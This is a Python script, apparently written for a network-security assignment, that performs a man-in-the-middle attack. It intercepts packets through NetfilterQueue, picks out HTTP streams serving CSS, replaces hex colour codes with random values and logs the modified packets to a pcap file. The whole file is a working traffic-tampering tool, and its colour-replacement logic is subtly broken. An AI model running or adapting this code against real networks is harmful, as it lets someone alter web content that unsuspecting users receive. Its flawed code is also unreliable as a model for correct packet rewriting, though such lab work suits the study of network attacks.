import os
from netfilterqueue import NetfilterQueue, Packet as NFQPacket
from scapy.all import IP, TCP, Raw, Packet as SPacket, send, base64_bytes, hex_bytes, bytes_hex, hexstr, hexdump, bytes_base64, PacketList
from scapy.layers.http import HTTPResponse, HTTP
from scapy.utils import wrpcap, rdpcap, PcapWriter
import random
import re

#packets we want to save for submission
# scapy_packets: PacketList = PacketList()
count = 0
pktdump = PcapWriter("../captures/final_3.pcap", append=True, sync=True)
def generate_random_color_6():
    return "#{:06x}".format(random.randint(0, 0xFFFFFF))

def generate_random_color_3():
    return "#{:03x}".format(random.randint(0, 0xFFF))

def replace_colors_with_random_6(input_string):
    # Regular expression to find hex color codes
    hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{6})')

    def replace_match(match):
        return generate_random_color_6()

    # Replace all hex color codes with random colors
    output_string = hex_color_pattern.sub(replace_match, input_string)
    return output_string

def replace_colors_with_random_3(input_string):
    # Regular expression to find hex color codes
    hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{3})')

    def replace_match(match):
        return generate_random_color_3()

    # Replace all hex color codes with random colors
    output_string = hex_color_pattern.sub(replace_match, input_string)
    return output_string


def save_packets(packets: PacketList, filename: str):
    wrpcap(filename, packets)
    print(f"Saved {len(packets)} packets to {filename}")
   

# Dictionary to store partial packets indexed by source/destination ports and IPs
tcp_streams: set = set()

def process_packet(nfqpacket: NFQPacket):
    global tcp_streams
    global count
    scapy_packet: SPacket = IP(nfqpacket.get_payload())
    
    if scapy_packet.haslayer(IP) and scapy_packet.haslayer(TCP):
        ip_layer = scapy_packet[IP]
        tcp_layer = scapy_packet[TCP]
        stream_key = (ip_layer.src, ip_layer.dst, tcp_layer.sport, tcp_layer.dport)
        
        if scapy_packet.haslayer(HTTP) and scapy_packet.haslayer(HTTPResponse):    
            http_response_layer: SPacket = scapy_packet[IP][TCP][HTTP][HTTPResponse]
            
            if http_response_layer.fields.get('Content_Type') == b"text/css":
                tcp_streams.add(stream_key)
                #stop here, there will not be raw data in these
            else:
                if stream_key in tcp_streams :
                    tcp_streams.remove(stream_key) 
                    #the stream might have moved onto something else like json, remove the key now
                else:
                    pass 
                
        elif stream_key in tcp_streams and scapy_packet.haslayer(Raw):

            # At this point we are likely dealing with CSS data - so attack
            all_content: bytes = scapy_packet[Raw].load
            css_content = all_content.decode('utf-8', errors='ignore')  # Decode bytes to string
            new_css_content: str = replace_colors_with_random_6(css_content)
            new_css_content = replace_colors_with_random_3(css_content)
            new_encoded_content: bytes = bytes(new_css_content, 'utf-8')

            new_load = new_encoded_content
            scapy_packet[Raw].load = new_load
            del scapy_packet[IP].chksum
            del scapy_packet[TCP].chksum
            print('Modified colors')
            count += 1
            nfqpacket.set_payload(scapy_packet.build())
            pktdump.write(scapy_packet)
        else:
            pass# Uninteresting packet, or it's too early and we have not seen the http response + conent type so ignore anyway
    else:
        pass #all packets are tcp so we don't expect this case
    nfqpacket.accept()

def main():
    global count
    nfqueue = NetfilterQueue()
    nfqueue.bind(0, process_packet)

    try:
        print("Binding to NFQUEUE 0...")
        nfqueue.run()
    except KeyboardInterrupt:
        print(f"Stopping... Modified {count} packets")

    finally:
        nfqueue.unbind()

if __name__ == "__main__":
    main()